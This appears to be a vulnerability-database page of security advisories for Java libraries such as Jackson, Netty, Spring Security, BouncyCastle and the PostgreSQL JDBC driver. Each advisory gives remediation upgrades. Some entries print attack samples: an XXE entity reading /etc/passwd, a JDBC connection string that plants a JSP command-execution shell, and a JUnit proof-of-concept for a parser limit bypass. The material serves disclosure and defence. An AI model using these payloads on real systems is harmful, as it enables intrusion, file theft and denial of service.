Find, fix and prevent vulnerabilities in your code.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enqueueMethod() method of HttpServerCodec, which packs the first 32 pipelined HTTP methods into a single long and then appends every further entry to the methodOverflowQueue ArrayDeque<Byte> with no size check. An attacker can exhaust the heap by pipelining a large number of minimal requests such as GET / HTTP/1.1\r\nHost: x\r\n\r\n on a single connection, with the growth coming from the codec's own per-connection bookkeeping rather than from buffered bodies. This requires the attacker to hold the connection open while withholding socket reads, so back pressure leaves responses unflushed and the decoder runs ahead of them, accumulating entries.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.138.Final, 4.2.18.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release
• Red Hat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the handling of HTTP/1.1 pipelined requests over a single connection. An attacker can cause excessive memory consumption by sending multiple pipelined requests, potentially leading to resource exhaustion and service disruption.

Remediation

Upgrade io.projectreactor.netty:reactor-netty-http to version 1.3.7 or higher.

References

• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation. PKIXCertPathReviewer.checkNameConstraints() in org.bouncycastle.pkix.jcajce.PKIXCertPathReviewer and org.bouncycastle.x509.PKIXCertPathReviewer. An attacker can get a constrained certificate chain accepted by supplying a leaf certificate whose subject DN or subjectAltName violates the issuing CA’s NameConstraints extension. When an application relies on the reviewer’s isValidCertPath() result for trust decisions, it accepts an end-entity certificate that the CA was not authorized to issue, allowing unauthorized certificate acceptance.

Remediation

Upgrade org.bouncycastle:bcpkix-jdk18on to version 1.86 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value in the CMSAuthenticatedDataParser process. An attacker can cause unauthorized attribute injection by crafting a message where the digestAlgorithm field is absent but authAttrs is present, allowing the insertion of arbitrary authenticated attributes that are not covered by the MAC. This can lead to applications making authorization, routing, or labeling decisions based on attacker-controlled values.

Remediation

Upgrade org.bouncycastle:bcpkix-jdk18on to version 1.86 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

org.jsoup:jsoup is a Java library for working with real-world HTML. It provides a very convenient API for extracting and manipulating data, using the best of DOM, CSS, and jquery-like methods. jsoup implements the WHATWG HTML5 specification, and parses HTML to the same DOM as modern browsers do.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the XmlTreeBuilder namespace scope tracking in src/main/java/org/jsoup/parser/XmlTreeBuilder.java. An attacker can exhaust JVM heap memory and terminate the application by supplying a deeply nested XML document with uniquely named namespace declarations. The parser copies the inherited namespace map on each start element, so parsing documents with many nested namespace bindings grows quadratically in time and retained memory. This can trigger an OutOfMemoryError in applications that accept untrusted XML input.

Remediation

Upgrade org.jsoup:jsoup to version 1.23.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the client-side SCRAM-SHA-256 authentication. An attacker can cause excessive CPU consumption by specifying a very large PBKDF2 iteration count during authentication attempts from a malicious server. This can lead to exhaustion of client CPU resources and disruption of connection pools.

Workaround

The following measures can reduce exposure:

• Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

• Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

• Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

• Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

• On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.postgresql:postgresql to version 42.7.11 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• Release Notes

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass in the XML authorization rules processing when the servlet-path attribute is used. An attacker can gain unauthorized access to protected endpoints by crafting requests that bypass intended authorization checks.

Remediation

Upgrade org.springframework.security:spring-security-config to version 7.0.5 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass in the securityMatchers component when a PathPatternRequestMatcher.Builder bean is used to prepend a servlet path. An attacker can bypass authentication, authorization, and other security controls by crafting requests that are not properly matched to the intended filter chain.

Remediation

Upgrade org.springframework.security:spring-security-config to version 7.0.5 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Incorrect Authorization via the annotation detection mechanism when resolving annotations on methods within type hierarchies that use a parameterized super type with unbounded generics. An attacker can gain unauthorized access to protected resources by invoking methods that should be secured but are not properly checked due to incorrect annotation resolution.

Note: This is only exploitable if the application uses the @EnableMethodSecurity feature and applies security annotations on methods in generic superclasses or generic interfaces.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.10, 6.5.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub Issue
• GitHub Release
• GitHub Release
• Vendor Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to User Impersonation in the SubjectX500PrincipalExtractor component. An attacker can gain unauthorized access to another user's account by presenting a specially crafted X.509 client certificate containing a malformed CN value.

Notes:

• The SubjectX500PrincipalExtractor component sits behind Spring Security's pre-authentication flow, which assumes the presented credentials have already been validated by a trusted upstream. Exploiting this issue therefore presupposes a compromise of that upstream trust.

• The fix only addresses SubjectX500PrincipalExtractor and not SubjectDnX509PrincipalExtractor, a deprecated component.

Remediation

Upgrade org.springframework.security:spring-security-web to version 7.0.5 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Sensitive Cookie in HTTPS Session Without "Secure" Attribute in the JettyCoreServerHttpResponse file. An attacker can compromise user session integrity by exploiting the omission of the sameSite attribute in serialized response cookies, potentially enabling cross-site request forgery (CSRF) attacks when a user interacts with a malicious website.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Flux.windowTimeout function when fairBackpressure is enabled. An attacker can cause the stream to hang indefinitely and exhaust system resources by maintaining long-lived connections and manipulating downstream read speeds.

Remediation

Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.

References

• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Race Condition in the Flux.bufferTimeout process with fairBackpressure enabled when a race condition occurs between flushing buffered items and the arrival of new upstream items. An attacker can cause the stream to hang indefinitely and exhaust resources by manipulating the timing of upstream item delivery to trigger this race condition.

Remediation

Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.

References

• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Timing Attack through the mod3 and modQ reduction helpers in org.bouncycastle.pqc.math.ntru.Polynomial and org.bouncycastle.pqc.crypto.ntru.NTRUSampling. An attacker can recover information about NTRU private key material by measuring the latency of secret-dependent modular reductions during key generation, encapsulation, and decapsulation.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Incorrect Implementation of Authentication Algorithm in the ScramAuthenticator class, which fails open by confirming only that the server advertised a -PLUS mechanism while neither rejecting an empty channel binding nor verifying that the negotiated mechanism actually uses channel binding. An attacker intercepting the TLS connection can strip the MitM protection that channelBinding=require is meant to guarantee, downgrading authentication from SCRAM-SHA-256-PLUS to plain SCRAM-SHA-256, by presenting a certificate with a signature algorithm such as Ed25519, Ed448, or a post-quantum scheme that makes the bundled scram-client return an empty binding instead of failing. This affects only connections that explicitly set channelBinding=require, since the default prefer policy documents fallback as expected behavior.

Workaround

This vulnerability can be avoided by configuring the connection with sslmode=verify-full and a restrictive truststore, which provides equivalent MitM protection independent of channel binding.

Remediation

Upgrade org.postgresql:postgresql to version 42.7.12 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The PgSQLXML class used for parsing was found to allow external entities and multiple doc types which could allow XXE attacks.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.13 or higher.

References

• GitHub Commit
• Release Notes

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the PartEventHttpMessageReader file when maxInMemorySize is set to -1. An attacker can cause excessive memory consumption by uploading large multipart requests.

Note: This is only exploitable if the configuration explicitly sets maxInMemorySize to -1.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Access Control when the application uses AuthenticatedVoter directly and a null authentication parameter is passed to it. Exploiting this vulnerability resulting in an erroneous true return value.

Note

Users are not affected if:

1. The application does not use AuthenticatedVoter#vote directly.

2. The application does not pass null to AuthenticatedVoter#vote.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.7.12, 5.8.11, 6.0.10, 6.1.8, 6.2.3 or higher.

References

• GitHub Commit
• GitHub Issue
• Security Advisory

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Timing Attack via the comparison of sensitive values using standard string equality rather than constant-time comparison in DigestAuthenticationFilter, KeyBasedPersistenceTokenService, BalloonHashingPassword4jPasswordEncoder, Pbkdf2Password4jPasswordEncoder, and InMemoryOAuth2AuthorizationService. An attacker can recover secret values such as password hashes, authentication digests, verification keys, or OAuth2 token values by submitting a large number of requests and precisely measuring response times. This is only exploitable if an attacker can make a very large number of requests with low network jitter and precise timing measurements.

Remediation

Upgrade org.springframework.security:spring-security-core to version 7.0.7, 7.1.1 or higher.

References

• Spring Security Advisory

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via the RegexRequestMatcher class, which can easily be misconfigured to be bypassed on some servlet containers when it is used with . in the regular expression.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.4.11, 5.5.7, 5.6.4 or higher.

References

• GitHub Commit
• GitHub Fix Commit v5.5.7
• GitHub Fix Commit v5.6.4
• GitHub Issue
• PoC
• VMware Tanzu Security Advisory

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED

When an arbitrary filename is specified in the loggerFileName connection parameter, a valid JSP file is created and a Remote Code Execution could be performed.

Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

PoC

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

Remediation

Upgrade org.postgresql:postgresql to version 42.3.3 or higher.

References

• GitHub Commit

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). It was possible to provide an SSL Factory and not check the host name if a host name verifier was not provided to the driver.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.5 or higher.

References

• GitHub Commit
• PostgresSQL News
• RedHat Bugzilla Bug

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. spring-security-core configures Jackson with the global default typing enabled. Although Jackson blacklisted known deserialization gadgets, it is still possible for a malicious user to execute arbitrary code on the following conditions:

1. Spring Security’s Jackson support is being leveraged by invoking SecurityJackson2Modules.getModules(ClassLoader) or SecurityJackson2Modules.enableDefaultTyping(ObjectMapper)
2. Jackson is used to deserialize data that is not trusted. Spring Security does not perform deserialization using Jackson, so this is an explicit choice of the user.
3. There is an unknown (Jackson is not blacklisting it already) “deserialization gadget” that allows code execution present on the classpath

This is related to SNYK-JAVA-COMFASTERXMLJACKSONCORE-31507.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

• Apache Blog

The vulnerability, also know as Mad Gadget

Mad Gadget is one of the most pernicious vulnerabilities we’ve seen. By merely existing on the Java classpath, seven “gadget” classes in Apache Commons Collections (versions 3.0, 3.1, 3.2, 3.2.1, and 4.0) make object deserialization for the entire JVM process Turing complete with an exec function. Since many business applications use object deserialization to send messages across the network, it would be like hiring a bank teller who was trained to hand over all the money in the vault if asked to do so politely, and then entrusting that teller with the key. The only thing that would keep a bank safe in such a circumstance is that most people wouldn’t consider asking such a question.

• Google

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.3.RELEASE or higher.

References

• GitHub Commit

• GitHub Commit

• GitHub Issue

• Pivotal Security Report

Overview

Affected versions of this package are vulnerable to Privilege Escalation due to allowing a malicious user or attacker to modify a request initiated by the Client (via the browser) to the Authorization Server. This scenario can happen if the Authorization Server responds with an OAuth2 Access Token response containing an empty scope list on the subsequent request to the token endpoint when trying to obtain the access token.

This vulnerability exposes applications that meet all of the following requirements:

1. Act in the role of a Login Client (e.g. http.oauth2Login())

2. Use one or more authorization rules with authorities mapped from authorized scopes (e.g. anyRequest().hasAuthority("SCOPE_message.write")) in the client application

3. Register an authorization server that responds with empty scopes list (per (RFC 6749, Section 5.1)[https://www.rfc-editor.org/rfc/rfc6749#section-5.1])

This vulnerability does not expose applications that:

1. Act in the role of a Resource Server only (e.g. http.oauth2ResourceServer())

2. Use authorization rules with authorities not mapped from authorized scopes (e.g. anyRequest().hasAuthority("ROLE_USER")) in the client application

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.4.11, 5.6.9, 5.7.5 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• VMWare Advisory

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Authentication. The affected versions support plain text passwords using PlaintextPasswordEncoder. If an application using an affected version of Spring Security is leveraging PlaintextPasswordEncoder and a user has a null encoded password, a malicious user (or attacker) can authenticate using a password of null.

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.13.RELEASE or higher.

References

• GitHub Commit
• Pivotal Advisory
• Spring Advisory

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to User Impersonation via username extraction in SubjectDnX509PrincipalExtractor. An attacker can impersonate another user by presenting a specially crafted X.509 certificate containing a malformed Common Name (CN) value that causes the extractor to resolve an incorrect username during certificate-based authentication.

Note:

1. This vulnerability is a continuation of CVE-2026-22747, which addressed the same issue in Spring Security 7.0.x.

2. Exploitation requires compromise or misuse of a trusted upstream certificate validation process, as this component operates within Spring Security's pre-authentication flow and assumes presented certificates have already been validated.

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.5.11 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

com.fasterxml.jackson.datatype:jackson-datatype-jsr310 is a datatype module to make Jackson recognize Java 8 Date & Time API data types (JSR-310).

Affected versions of this package are vulnerable to Improper Input Validation that can cause a Denial of Service (DoS). It appear to be exploitable via the victim deserializes malicious input, specifically very large values in the nanoseconds field of a time value.

Remediation

